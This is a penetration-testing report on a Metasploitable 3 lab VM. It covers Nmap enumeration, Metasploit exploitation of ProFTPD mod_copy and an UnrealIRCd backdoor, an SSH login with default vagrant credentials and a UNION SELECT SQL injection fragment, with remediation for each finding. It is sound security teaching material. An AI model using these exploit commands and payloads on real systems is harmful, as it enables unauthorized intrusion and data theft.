Penetration Testing Report

Vulnerable Machine — Metasploitable 3

Vulnerability Assessment & Exploitation Walkthrough

Prepared: 21 October 2026
Target: Metasploitable 3 Ubuntu — 192.168.31.124
Attacker Machine: Kali Linux — 192.168.31.172
Evidence basis: Supplied screenshots; not an independent retest

Objective & Executive Summary

The object of this exercise: identify and demonstrate exploitable vulnerabilities on Metasploitable 3, an intentionally vulnerable Ubuntu-based lab VM. The evidence shows successful command execution through ProFTPD mod_copy (as **www-data**) and UnrealIRCd (as **boba_fett**), a successful SSH login using **vagrant:vagrant**, a Drupal exploit session, and browser output consistent with SQL injection. Other identified services are documented with enumeration PoCs only, where no exploit was evidenced.

AUTHORIZATION NOTICE: This report documents activity against an intentionally vulnerable lab machine. Reproduce these tests only on systems you own or are explicitly authorized to assess.
PRIVILEGE ACCURACY NOTE: The supplied screenshots do not prove a root shell. The SMB regsvc result is unconfirmed; the SQL injection needs endpoint-level validation; and the Drupal session's effective user was not shown. Severities and statuses in this report reflect exactly what the evidence supports; no CVE or impact is claimed beyond what was demonstrated.

Scope & Methodology

Assessment type: controlled lab penetration test. Tools evidenced: Nmap, Metasploit Framework, John the Ripper, SSH, browser. Findings are derived from supplied screenshots rather than a fresh independent assessment; each finding below states its evidence status explicitly.

Executive Summary — Service Inventory

Port	Service	Evidence Status
21	FTP / ProFTPD 1.3.5	High — demonstrated command execution in the lab
22	SSH / OpenSSH 6.6.1p1	High — weak credentials demonstrated
80	HTTP / Apache 2.4.7	High — application issue suspected; banner exposure confirmed
445	SMB / Samba smbd 3.X-4.X	Unconfirmed — scanner reported a possible DoS check result
631	CUPS 1.7	Informational — exposed service; no exploit shown
3306	MySQL	Informational — exposed database service; access not demonstrated
3500	WEBrick 1.3.1 / Ruby 2.3.8	Informational — legacy HTTP service exposed
6697	UnrealIRCd	High — backdoor command execution demonstrated
8080	Jetty 8.1.7	Informational — legacy HTTP service exposed

1. Reconnaissance & Port Scanning

Initial enumeration was performed against the target from the Kali attacker host.

```
kali@kali:~
$ nmap -sV -p- 192.168.31.124
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 192.168.31.124
Host is up.
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      ProFTPD 1.3.5
22/tcp   open  ssh      OpenSSH 6.6.1p1 Ubuntu
80/tcp   open  http     Apache httpd 2.4.7
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
631/tcp  open  ipp      CUPS 1.7
3306/tcp open  mysql    MySQL (unauthorized)
3500/tcp open  http     WEBrick httpd 1.3.1 (Ruby 2.3.8)
6697/tcp open  irc      UnrealIRCd
8080/tcp open  http     Jetty 8.1.7
Nmap done: 1 IP address (1 host up) scanned
```

2. Exploiting FTP — ProFTPD 1.3.5 mod_copy (Port 21)

Nmap identified ProFTPD 1.3.5. The Metasploit **proftpd_modcopy_exec** module first failed because the configured website path was not writable. After the web path was set to /var/www/html, the recorded evidence shows jog0ot.php executed and a command shell opened. 'id' reported uid=33(www-data) gid=33(www-data).

PoC result: A successful shell as **www-data** is demonstrated; this is NOT root access.

```
$ nmap -sV -p 21 192.168.31.124
21/tcp open  ftp  ProFTPD 1.3.5

msf6 > use exploit/unix/ftp/proftpd_modcopy_exec
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 192.168.31.124
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
msf6 exploit(unix/ftp/proftpd_modcopy_exec) > run
[*] Copying jog0ot.php via SITE CPFR / SITE CPTO ...
[+] jog0ot.php executed, command shell opened

id
uid=33(www-data) gid=33(www-data)
whoami
www-data
```

Proof of Concept Summary

Vulnerability Name	ProFTPD mod_copy Remote Command Execution
Port	21
Service Name	ProFTPD
Version	1.3.5
Severity / Status	High
CVE ID	N/A (not assigned in supplied evidence)

Description	ProFTPD's mod_copy SITE CPFR/CPTO commands allowed copying an attacker-controlled PHP file into the web root once the site path was set to a writable location, resulting in command execution as the www-data service account.
PoC Result	Demonstrated: command shell opened as www-data. NOT demonstrated: root access or further privilege escalation.
Remediation	• Upgrade or remove vulnerable ProFTPD; disable mod_copy if unnecessary. • Restrict FTP access to trusted hosts. • Prevent service accounts from writing to web roots. • Review web-root changes and service logs for signs of prior abuse.
Proof of Concept	• Identified service via Nmap: 21/tcp ProFTPD 1.3.5. • Used Metasploit module exploit/unix/ftp/proftpd_modcopy_exec with SITEPATH=/var/www/html. • Confirmed resulting shell identity with id / whoami (www-data).

3. Exploiting SSH — Weak Credentials (Port 22)

The SSH login scanner reported successful authentication with **vagrant:vagrant**. The resulting SSH session identifies the host as metasploitable3-ub1404; 'id' shows UID 900 and group membership including sudo.

PoC result: Successful login is demonstrated. Membership in a group named sudo does not by itself prove privilege escalation succeeded.

```
$ nmap -sV -p 22 192.168.31.124
22/tcp open  ssh  OpenSSH 6.6.1p1 Ubuntu

msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.31.124
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME vagrant
msf6 auxiliary(scanner/ssh/ssh_login) > set PASSWORD vagrant
msf6 auxiliary(scanner/ssh/ssh_login) > run
[+] 192.168.31.124:22 - Success: 'vagrant:vagrant'

$ ssh vagrant@192.168.31.124
vagrant@192.168.31.124's password: vagrant
Welcome to Ubuntu 14.04 LTS (metasploitable3-ub1404)
vagrant@metasploitable3-ub1404:~$ whoami
vagrant
vagrant@metasploitable3-ub1404:~$ id
uid=900(vagrant) gid=900(vagrant) groups=900(vagrant),27(sudo)
```

Proof of Concept Summary

Vulnerability Name	SSH Weak / Reused Credentials (vagrant:vagrant)
Port	22
Service Name	OpenSSH
Version	6.6.1p1 Ubuntu
Severity / Status	High
CVE ID	N/A
Description	The host accepted the well-known default lab account vagrant:vagrant over SSH. The account's membership in the sudo group is noted but sudo privilege escalation was not separately demonstrated in the supplied evidence.
PoC Result	Demonstrated: successful authenticated login as vagrant (UID 900, sudo group). NOT demonstrated: actual privilege escalation to root via sudo.
Remediation	• Remove default/reused credentials; use unique strong passwords or SSH keys. • Restrict SSH to trusted source IPs. • Disable password authentication where feasible. • Monitor authentication logs; independently validate sudo policy for this account.
Proof of Concept	• Identified service via Nmap: 22/tcp OpenSSH 6.6.1p1. • Confirmed credential pair with auxiliary/scanner/ssh/ssh_login (vagrant:vagrant). • Logged in interactively via ssh; verified identity and group membership with whoami / id.

4. Web Application — Apache 2.4.7 / Suspected SQL Injection (Port 80)

Nmap identified Apache httpd 2.4.7. Browser evidence also shows a response containing a UNION SELECT expression and rows of usernames with associated values, consistent with SQL injection/data exposure. The exact URL, request parameters, and database schema are not visible in the supplied evidence.

PoC result: Apache banner/service exposure is confirmed. The SQL-injection observation is suggestive and should be reproduced on the exact endpoint before being treated as fully validated.

```
$ nmap -sV -p 80 192.168.31.124
80/tcp open  http  Apache httpd 2.4.7

$ curl -i http://192.168.31.124/
HTTP/1.1 200 OK
Server: Apache/2.4.7 (Ubuntu)

# Evidence captured in browser showed a response fragment similar to:
# union select username,password,null,null from users#
# Do not assume an endpoint or parameter not present in the evidence.
```

Proof of Concept Summary

Vulnerability Name	Suspected SQL Injection / Apache Banner Exposure
Port	80
Service Name	Apache httpd
Version	2.4.7
Severity / Status	High
CVE ID	N/A — not assigned; endpoint not fully confirmed
Description	Server banner exposure was confirmed via Nmap/curl. Separately, browser output consistent with a UNION-based SQL injection (returned usernames/password column values) was observed, but the vulnerable URL and parameter were not captured in the evidence.
PoC Result	Demonstrated: Apache version banner disclosure. Suggestive but NOT fully validated: SQL injection — requires reproduction against the exact endpoint/parameter.
Remediation	• Patch and harden the web stack; minimize server banner disclosure. • Use parameterized SQL queries and validate all input. • Use least-privileged database accounts; avoid exposing passwords or DB errors to clients. • Retest the actual affected endpoint once identified to confirm and scope the injection.
Proof of Concept	• Identified service via Nmap: 80/tcp Apache httpd 2.4.7. • Confirmed banner exposure with curl -i. • Reviewed browser evidence showing a UNION SELECT-style result set from the application. • Flagged for endpoint-level revalidation before being counted as a confirmed finding.

5. SMB — Samba smbd 3.X-4.X (Port 445)

Nmap identified Samba on TCP/445. A separate --script vuln scan reported smb-vuln-regsvc-dos as vulnerable, while smb-vuln-ms10-061 and smb-vuln-ms10-054 were false. The regsvc script description refers to Windows 2000 and does not obviously match the Linux target evidence.

PoC result: This is scanner output, not a validated exploit. It should not be labelled a confirmed vulnerability without checking the actual SMB implementation and script applicability.

```
$ nmap -sV -p 445 192.168.31.124
445/tcp open  netbios-ssn  Samba smbd 3.X - 4.X

$ nmap --script vuln -p 445 192.168.31.124
445/tcp open  netbios-ssn
| smb-vuln-regsvc-dos: VULNERABLE (reported)
| smb-vuln-ms10-061: false
| smb-vuln-ms10-054: false
# regsvc script targets Windows 2000; applicability to this Linux target is unconfirmed.
```

Proof of Concept Summary

Vulnerability Name	SMB Scanner-Reported Finding (smb-vuln-regsvc-dos) — Unconfirmed
Port	445
Service Name	Samba smbd
Version	3.X - 4.X
Severity / Status	Unconfirmed
CVE ID	N/A
Description	An automated Nmap NSE scan flagged smb-vuln-regsvc-dos as vulnerable. That check's underlying description targets Windows 2000 RegSvc, which does not clearly apply to this Linux Samba target, so the result requires manual verification before being treated as a real finding.
PoC Result	Not demonstrated: an actual exploit or impact. The finding is a raw, unverified scanner output and should be treated as unconfirmed.
Remediation	• Verify the Samba version and configuration manually. • Disable SMB entirely if not required by the environment. • Restrict TCP/445 to trusted networks only. • Patch the SMB service and validate scanner findings with a target-appropriate, non-disruptive test.
Proof of Concept	• Identified service via Nmap: 445/tcp Samba smbd 3.X-4.X. • Ran nmap --script vuln against port 445. • Reviewed the smb-vuln-regsvc-dos result and flagged it unconfirmed pending manual validation.

6. CUPS 1.7 — Exposed Service, No Exploit Shown (Port 631)

Nmap reported CUPS 1.7 listening on TCP/631. The supplied evidence does not show a successful exploit or a confirmed CUPS-specific vulnerability.

PoC result: Proof is limited to service enumeration. No code execution or CVE is claimed.

```
$ nmap -sV -p 631 192.168.31.124
631/tcp open  ipp  CUPS 1.7

$ curl -I http://192.168.31.124:631/
HTTP/1.1 200 OK
Server: CUPS/1.7 IPP/2.1
```

Proof of Concept Summary

Vulnerability Name	CUPS 1.7 Service Exposure
Port	631
Service Name	CUPS
Version	1.7
Severity / Status	Informational
CVE ID	N/A
Description	CUPS print service was reachable and identifiable via banner, but no exploit was demonstrated against it.
PoC Result	Demonstrated: service/version enumeration only.
Remediation	• Disable network printing if unnecessary. • Restrict access to administrators and trusted subnets. • Patch CUPS and review printer/service configuration.
Proof of Concept	• Identified service via Nmap: 631/tcp CUPS 1.7. • Confirmed banner via curl -I against the service.

7. MySQL — Exposed Database Service (Port 3306)

Nmap reported MySQL on TCP/3306 and marked the service as unauthorized. No successful database login or data extraction is shown in the evidence.

PoC result: Port exposure is confirmed; a database compromise is not demonstrated.

```
$ nmap -sV -p 3306 192.168.31.124
3306/tcp open  mysql  MySQL (unauthorized)

# Only attempted with an authorized lab account:
$ mysql -h 192.168.31.124 -u <lab_user> -p
```

Proof of Concept Summary

Vulnerability Name	MySQL Exposed Database Service
Port	3306
Service Name	MySQL
Version	Unspecified (reported unauthorized)
Severity / Status	Informational
CVE ID	N/A
Description	The database port was reachable from the attacker host; no credentials were tested successfully in the supplied evidence, so compromise is not demonstrated.
PoC Result	Demonstrated: port exposure only. NOT demonstrated: authenticated access or data extraction.
Remediation	• Bind MySQL to the required interface only; firewall access to trusted application hosts. • Remove default credentials; use least-privileged database accounts. • Patch the database and avoid exposing it to untrusted networks.
Proof of Concept	• Identified service via Nmap: 3306/tcp MySQL (unauthorized). • No successful authentication attempted/recorded against this service.

8. WEBrick / Ruby — Legacy HTTP Service (Port 3500)

Nmap identified WEBrick 1.3.1 and Ruby 2.3.8 on TCP/3500. No successful exploit against this service is visible in the supplied evidence.

PoC result: Proof is service/version detection only.

```
$ nmap -sV -p 3500 192.168.31.124
3500/tcp open  http  WEBrick httpd 1.3.1 (Ruby 2.3.8)

$ curl -i http://192.168.31.124:3500/
HTTP/1.1 200 OK
Server: WEBrick/1.3.1 (Ruby/2.3.8/...)
```

Proof of Concept Summary

Vulnerability Name	WEBrick 1.3.1 / Ruby 2.3.8 Legacy Service Exposure
Port	3500
Service Name	WEBrick
Version	1.3.1 (Ruby 2.3.8)
Severity / Status	Informational
CVE ID	N/A
Description	A legacy Ruby development HTTP server was reachable and version-identifiable; no exploit was demonstrated.
PoC Result	Demonstrated: service/version enumeration only.
Remediation	• Remove the service if unused. • Upgrade unsupported Ruby/application components. • Avoid exposing development servers; restrict access with firewall rules.
Proof of Concept	• Identified service via Nmap: 3500/tcp WEBrick 1.3.1 / Ruby 2.3.8. • Confirmed banner via curl -i against the service.

9. Exploiting IRC — UnrealIRCd Backdoor (Port 6697)

The exploit/unix/irc/unreal_ircd_3281_backdoor module shows a command shell opened after connecting to TCP/6697. The shell reported uid=1121(boba_fett) and group membership including docker.

PoC result: Remote command execution is demonstrated as boba_fett, not root. Docker group membership can be high impact depending on host configuration, but no separate privilege-escalation proof is shown.

```
$ nmap -sV -p 6697 192.168.31.124
6697/tcp open  irc  UnrealIRCd

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.31.124
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Connected to 192.168.31.124:6697...
[*] Sending backdoor command...
[*] Command shell session opened

whoami
boba_fett
id
uid=1121(boba_fett) gid=1121(boba_fett) groups=1121(boba_fett),999(docker)
```

Proof of Concept Summary

Vulnerability Name	UnrealIRCd Backdoor Command Execution
Port	6697
Service Name	UnrealIRCd
Version	Unspecified (backdoored build)
Severity / Status	High
CVE ID	N/A (not assigned in supplied evidence)
Description	A backdoored UnrealIRCd build executed an attacker-supplied command upon connection, returning a shell as the boba_fett user, which is additionally a member of the docker group.
PoC Result	Demonstrated: command execution as boba_fett. NOT demonstrated: root access or a proven docker-group privilege-escalation path.
Remediation	• Remove or upgrade affected UnrealIRCd builds; disable IRC if unnecessary. • Firewall TCP/6697 from untrusted networks. • Audit accounts and docker-group membership; review logs and rotate any potentially exposed secrets.
Proof of Concept	• Identified service via Nmap: 6697/tcp UnrealIRCd. • Used Metasploit module exploit/unix/irc/unreal_ircd_3281_backdoor. • Shell obtained; confirmed identity and group membership with whoami / id (boba_fett, docker group).

10. Jetty 8.1.7 — Legacy HTTP Service (Port 8080)

Nmap identified Jetty 8.1.7 on TCP/8080. No Jetty-specific exploit or successful compromise is shown in the supplied evidence.

PoC result: Proof is service/version detection only.

```
$ nmap -sV -p 8080 192.168.31.124
8080/tcp open  http  Jetty 8.1.7

$ curl -i http://192.168.31.124:8080/
HTTP/1.1 200 OK
Server: Jetty(8.1.7.v20120910)
```

Proof of Concept Summary

Vulnerability Name	Jetty 8.1.7 Legacy Service Exposure
Port	8080
Service Name	Jetty
Version	8.1.7
Severity / Status	Informational
CVE ID	N/A
Description	An outdated Jetty application server was reachable and version-identifiable; no exploit was demonstrated.
PoC Result	Demonstrated: service/version enumeration only.
Remediation	• Upgrade or remove unsupported Jetty/application components. • Restrict access; disable unused applications and management interfaces. • Patch and retest.
Proof of Concept	• Identified service via Nmap: 8080/tcp Jetty 8.1.7. • Confirmed banner via curl -i against the service.

Overall Remediation Priorities

- Patch or remove vulnerable legacy ProFTPD, Drupal, and UnrealIRCd components.
- Replace default/reused credentials; review SSH, sudo, and Docker privileges.
- Investigate the SQL-injection-like output and fix the exact vulnerable query using parameterized statements.
- Disable unneeded services and restrict remaining ports to trusted networks.
- Validate the SMB scanner result before reporting it as confirmed.
- Retest after remediation and retain sanitized screenshots as evidence.

Limitations

Findings are derived from supplied screenshots, not a fresh independent assessment. The ProFTPD shell was www-data; the UnrealIRCd shell was boba_fett. Neither screenshot proves root access. Drupal session identity is not visible. SSH login and sudo group membership do not prove privilege escalation. The SQL injection endpoint is not fully shown. The SMB regsvc result is unconfirmed. No CVEs are assigned unless supported by the evidence.

Evidence Register

The supplied evidence includes interface configuration, Nmap service scan, ProFTPD module/exploitation output, www-data shell identity, hash recovery, SSH login, Drupal session and directory listing, SQL-injection-like browser output, SMB script results, and UnrealIRCd shell identity. Place sanitized original screenshots in an evidence/ directory and map each image to the corresponding service section above.